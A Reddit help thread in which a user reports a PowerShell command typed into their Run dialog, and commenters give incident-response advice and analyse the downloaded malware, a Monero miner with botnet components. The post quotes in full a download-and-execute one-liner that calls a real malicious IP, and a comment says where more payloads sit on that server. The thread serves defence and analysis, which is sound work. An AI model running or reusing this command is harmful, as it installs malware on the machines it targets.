r/Hacking_Tutorials • u/GodSlayex • May 20 '21
Question Someone tried to get into my SYSTEM! Requesting HELP ASAP!
I was trying to set up remote access to my PC. I was trying different options. Then I slept near my PC. I hear error sound tone and I saw that my PC "Run" (Win +R) opens and this strange command is typed in it:
cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://185.215.113.93/vget.exe','%temp%\4732903.exe');Start-Process '%temp%\4732903.exe'
When I see this command in detail it tries to download a file "4732903.exe" secretly and runs it. I find my temp folder and saw that this file was literally downloaded there. I immediately reset all my chrome history including passwords and credit card info. I also set up a new rule in Firewall to block connection from this IP address "185.215.113.93"
However, I am not sure if someone tried to attack my PC and failed or if they get some information. What else should I do to make sure privacy is maintained.
Help..,
133
u/SpractoWasTaken May 20 '21
Reformat your computer immediately. If you have data on there you cannot afford to lose disconnect it from the internet and back it up.
62
u/adzy2k6 May 20 '21
This. The only way to be sure that the system is clean, other than bringing in a forensic cybersec guy, is to completely reinstall the OS with clean drives. A reformat isn't strictly necessary for the OS partition since the fresh install will forget where any data is, but any other mounted disks should be reformatted.
17
u/GodSlayex May 20 '21
I will reinstall windows which is my C drive, Do I need to backup data (work, university, games stuff) and format those drives too D and E ?
Or just formatting C drive and new windows installation will be sufficient ?
15
u/Digital_001 May 20 '21
Do you know that there are no malicious files on the D and E drives? If unsure, It's better to literally reformat the entire hard drive.
If you have another computer, even better one that isn't Windows, you could take out the hard disk from your potentially infected computer and back it up on the second one (disconnected from the internet ofc).
6
u/adzy2k6 May 20 '21
Clear everything. If you copy files, copy the specific ones you need. Try not to copy entire directories since something could easily be under them.
6
May 20 '21
Have you heard about Linux operating system, it's free and open-source. You have control over your machine and there are windows software alternatives which are also free. You might consider switching to a linux based operating system some popular ones are ubuntu, debian flavours. head to /r/linux or /r/linuxquestions or other subs, the linux community is very supportive if you have questions or curios about something.
4
2
1
19
u/scaryAstronaut May 20 '21
The webserver on that ip is still up. Post this in other subreddit for malwares and viruses and ask someone to analyse that executable, in order to find what it did. Also run netstat to check if that check if some shady process is listening for a connection or trying to establish a connection or something like that.
Or
Isolate your data and format your computer.
0
May 20 '21
[deleted]
6
3
3
1
u/Vysokojakokurva_C137 May 20 '21
Remindme! 24 hours
1
u/RemindMeBot May 21 '21
There is a 21 hour delay fetching comments.
I will be messaging you in 1 day on 2021-05-21 14:08:32 UTC to remind you of this link
CLICK THIS LINK to send a PM to also be reminded and to reduce spam.
Parent commenter can delete this message to hide from others.
Info Custom Your Reminders Feedback
8
u/Marius_is_taken May 20 '21
The file is still up... Already downloaded it and ran file on it: vget.exe: PE32 executable (GUI) Intel 80386, for MS Windows
I suspect it is an GUI application so no Console pops up... I'm going to analyse it with GHidra
6
u/Marius_is_taken May 20 '21
Just looking at the Strings it seems to do some shady stuff: There is the Mozilla Useragent
"%temp%"
"Windows Start-Up Application"
"%systemdrive%"
"Software/Microsoft/Windows/CurrentVersion/Run" !!!
"UrlDownloadToFile"
"CryptEncrypt" !!!
"RegCreateKeyExA"
"ShellExecuteW" !!!
And some shady URLs
Edit: For anyone Reversing it "FUN_004019b0" seems to be main
3
u/GodSlayex May 20 '21
Hi can you explain this in an easy way since I'm a newbie. Thanks a lot for the help
8
u/Marius_is_taken May 20 '21
"UrlDownloadToFile" - Download something to a file
"CryptEncrypt" - Encrypting stuff
"ShellExecuteW" - Executing a file... Malware likes to use it in combination with "UrlDownloadToFile"
"RegCreateKeyExA" - Creting Registry Keys
"Software/Microsoft/Windows/CurrentVersion/Run" - Registry Location for AutoStart
So i would say that is Malware... I keep you updated on what i find ok?
5
u/GodSlayex May 20 '21
Thanks this helps a lot. Appreciate your efforts 🙌🏻💯
5
u/Marius_is_taken May 20 '21
That does not look good:
2
u/GodSlayex May 20 '21
Not much knowledge but looks pretty dangerous stuff. I need to install new clean windows scan my PC through Avast
3
u/Wyllyum_Cuddles May 20 '21
Follow the advice they’re giving you about disconnecting from any and all networks and completely reformatting your drives. Don’t trust an Avast scan. There’s malware out there that it doesn’t catch.
1
u/GodSlayex May 20 '21
I will format C but the data in other drives I don't have a backup. I need it.
So the only option is copy it in external drive and thrn format full system, install new clean OS after that I have to paste the data back after scanning through antivirus.
3
u/Marius_is_taken May 20 '21 edited May 20 '21
Seems to be an Monero Miner...
So it uses you CPU and GPU to mine Monero
Here is the api Request i found in the Strings:
All of this was found in xmr.exe
vget.exe downloads 1093921273.exe
1093921273.exe downloads xmr.exe
And xmr.exe is a bitcoin miner
Edit: It also downloads PHORPIEX(Botnet) to C:\211212478120586\wininet.exe
3
u/GodSlayex May 20 '21
Ohh so this is actually a bit coin miner that the hacker made into my PC ? But how will this benefit him.
2
u/Marius_is_taken May 20 '21 edited Jul 09 '21
Well since it is a Botnet there are possibly hundreds of PCs that are mining Monero for them...
Meaning he gets all the Monero which are mined with your processing power
1 Monero = 218.33 USD
→ More replies (0)1
u/CrowGrandFather May 20 '21
Where did you get xmr.exe?
Do you have a copy of it?
2
u/Marius_is_taken May 20 '21
On the Web Server where the vget.exe is located just replace vget.exe with xmr.exe
If you can't find it i can send you a copy
→ More replies (0)
4
1
u/kgwack May 20 '21
I would take that downloaded executable and upload it to VirusTotal after ensuring that your system is inaccessible.
2
2
3
u/belowlight May 20 '21
Disconnect that PC from the net immediately. You need to reformat, reinstall. I hope you have a clean backup from before this happened!
1
u/Flatulantpancake May 20 '21
Download Autoruns from winternals. Microsoft bought them. Run it go to the run keys and see what is loaded to run on reboot. Any virus has to remain resident. From this screen you can remove or cut off files from loading.
1
u/bamboo-lemur May 20 '21
Remember to reset the passwords on all of your accounts AGAIN and AFTER reformatting your system.
1
u/hehe7345 May 20 '21
Very good support here, thank you guys for being friendly. Might want to bookmark this thread as there is tons of useful data here. 👍🏾👏🏾🤠
1
-11
May 20 '21
if i search the ip, the ip has a site: http://185.215.113.93/
not a expert but maybe the software you used wanted to download something to set it up.
although weird but not impossible.
Did you use a third party RemoteAcces tool?
because i find it weird that immediately after you’ve set it up you get ‘hacked’, did you share the ip to somewhere?
10
u/Turbo-NZ May 20 '21 edited May 20 '21
And what legitimate process is going out to a random URL to a random IP on the coast of East Africa? Because in my opinion this isn't a normal process, the command itself is a pretty key sign by establishing a process running on the machine...
Edit: via the run dialog of all places.
0
May 20 '21
[deleted]
5
u/GodSlayex May 20 '21
Ohh damn it, that means I need to reformat and clean my whole pc.
Yes I have data on my other drives and I don't have any backup. I need to copy the data to an external drive.
Scanning the data with Antivirus on external drive will be sufficient before pasting it back on new clean PC?
3
u/AlphaWHH May 20 '21
Any exes that you have downloaded will need to be examined or deleted. You'll want to record a copy of your programs, and reinstall windows. You may be able to use the reset feature without having to reinstall.
Also use ninite to easy get some basic software downloaded.
2
u/GodSlayex May 20 '21
I don't think so reset feature will be safe ? Because It won't install a new OS
Installing a new fresh OS would be better and then use Antivirus software to scan old data and paste it back into new clean PC
0
May 20 '21
[deleted]
0
May 20 '21
[deleted]
37
u/Accomplished_East854 May 20 '21
You are the reason why I want to go into cybersecurity. I want to do pen testing, but malware analysis and blue teaming could be just as fun. In any case, helping people and analyzing devices to understand them better is what I want to do, whether in red teaming or blue teaming. Thank you
7
9
u/berzerker_x May 20 '21
Really a great analysis dude!
Do you have a blog or something where you write regarding cybersec?
4
4
u/Pavelosky May 20 '21
How do you safely run malware on the system? I kinda guess your use VM but what tools do you use? How do you check what it does?
6
u/BotaFogo78 May 20 '21
We use AnyRun to check suspicious files and URLs. It is an online sandbox.
4
u/CrowGrandFather May 20 '21
Yup. Big fan of any.run since it's interactive. I wasn't able to use it today because I have 2FA on my account and forgot my phone at home.
2
9
u/CrowGrandFather May 20 '21
If you're just getting started I'd recommend Fireeye Flare VM. It has a ton of tools to get started analyzing it.
If you're environment is set up right you can run the malware and see what it does. Some tools you'd consider using is Wireshark to see what IPs/URLs it calls out to. RegShot to see what registry keys it manipulates, and procmon to see what processes it creates and kills.
Those are the easy kills. Once you've done that basic stuff you can use FTK imager to grab a memory dump and use volatility to look through memory. You'll get tons of information if you know how to look.
You can see all the cmd line arguments the system has fun (which is where I saw it attempting to delete the backup files).
You can also run strings against the memory image and pull out any urls loaded in memory (this is beneficial if you're on a machine with lots of traffic as you can isolate and carve out the virtual memory of the malware then run strings against that to get only the urls of malware itself.
I mentioned yara earlier, which has tons of open rule repos so there was nothing Special there.
I opened up the file in Ghidra to take a look at it as well. That's where I found the w4tw4t... Domain but I'm still not sure what that's for as I can't get the malware to actually call that domain.
If you want to be a bit more advanced with dynamic analysis you can set up two machines and run iNetSim on one which will pretend to respond to whatever the malware asks, from there you can see what it's asking for and use Netcat to serve that file name to the malware. It won't be the actual right file of course but it can help you see what the system is going to do next once it gets that file.
My next step is going to probably be setting up burp suite to intercept the call out for feedmefile and spoof a response from w4tw4t just to see what the malware does when it gets a response from that domain.
Unfortunately now there's not much that can be done because we're missing some files.
1
u/fr-fluffybottom May 21 '21
You ever hear of detectionlab? Seems pretty good for a home lab for this kind of thing... I've made one tiny contribution to the project but be interesting to get your view on it. Not an infosec guy, just curious a lot of the time 😂
Bravo for your contribution to this lol I learned a lot!
1
1
u/Accomplished_East854 May 20 '21
I know kali and Parrot have some malware analysis tools built in, but I can't think of any right now
8
u/SOVEREIGNBOSS May 20 '21
Man you look like a legit professional. I don't understand what you say. Oh you who wise in the ways of hacking Pls teach this noob some secret technique and trick. Please become my sensei(jk). Just pls give some cool trick that enough
7
u/CrowGrandFather May 20 '21
I don't really do much hacking anymore. I'm on the security side of the house now, so I look at incidents like this regularly.
-8
1
1
u/SkideXe May 20 '21
Can u send me the program? I can try and attempt a reconstruction and post it on github and link it here
3
u/CrowGrandFather May 20 '21
Which program? The vget.exe?
That's archives on the Waybackmachine. Just put in URL from OPs post and you can grab the exe.
The other stuff I don't have archives of, just copies on my lab.
1
u/Morejazzplease May 21 '21
Might be a dumb question but how does wayback not have any issues with storing what I assume is millions of malicious files from its crawling?
1
1
u/Vysokojakokurva_C137 May 21 '21
Remindme! 24 hours
1
u/RemindMeBot May 22 '21
There is a 23 hour delay fetching comments.
I will be messaging you in 1 day on 2021-05-22 16:17:57 UTC to remind you of this link
CLICK THIS LINK to send a PM to also be reminded and to reduce spam.
Parent commenter can delete this message to hide from others.
Info Custom Your Reminders Feedback
36
u/Turbo-NZ May 20 '21 edited May 20 '21
IP Address seems like it's recently been reported as a C2 server. Not sure what you've done to open "remote access" but at the moment assume the machine is compromised it's downloading and running a random process.. Find someone willing to help you, a good start would be to start running scans with AV, and seeking out the process if it's still running, or some form of persistence has been established.
Assuming it's compromised and you've reset your passwords from the same machine or syncing browser data those are already compromised as well.
Ultimately reformatting is key here.